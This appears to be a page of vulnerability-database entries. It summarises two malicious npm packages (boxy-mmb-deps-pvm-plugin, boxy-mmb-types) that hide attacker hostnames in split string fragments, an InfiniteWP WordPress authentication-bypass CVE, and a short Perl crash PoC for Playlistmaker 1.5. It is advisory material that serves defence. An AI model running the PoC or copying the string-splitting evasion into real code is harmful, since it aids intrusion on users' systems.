Malicious code in boxy-mmb-deps-pvm-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 088639f9b19ce8234cef116c0250628c6894bd509915aa90639c56436ec19646 index.js unconditionally loads polyfill.js on require. polyfill.js reconstructs attacker-controlled hostnames from split string literals...

Malicious code in boxy-mmb-types (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f98f3a2dd8ca593bdd127f3fd631a10fe4a3c70f57890aa43e2da45b92d18d80 index.js unconditionally requires loader.js on module load. loader.js reconstructs hostnames by joining split string fragments evading static grep to...

CVE-2020-8772

The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing authorization check in iwpmmbsetrequest in init.php. Any attacker who knows the username of an administrator can log in...

Playlistmaker 1.5 (.M3U/M3L/TXT File) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Playlistmaker v1.5 .M3U/M3L/Txt File Local Stack Overflow POC Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html Welcom Back Milw0rm my $crash="\x41" x 5000 ; openmyfile,'PoC.m3u'; M3U/M3L/Txt print myfile $crash; By ThE g0bL!N...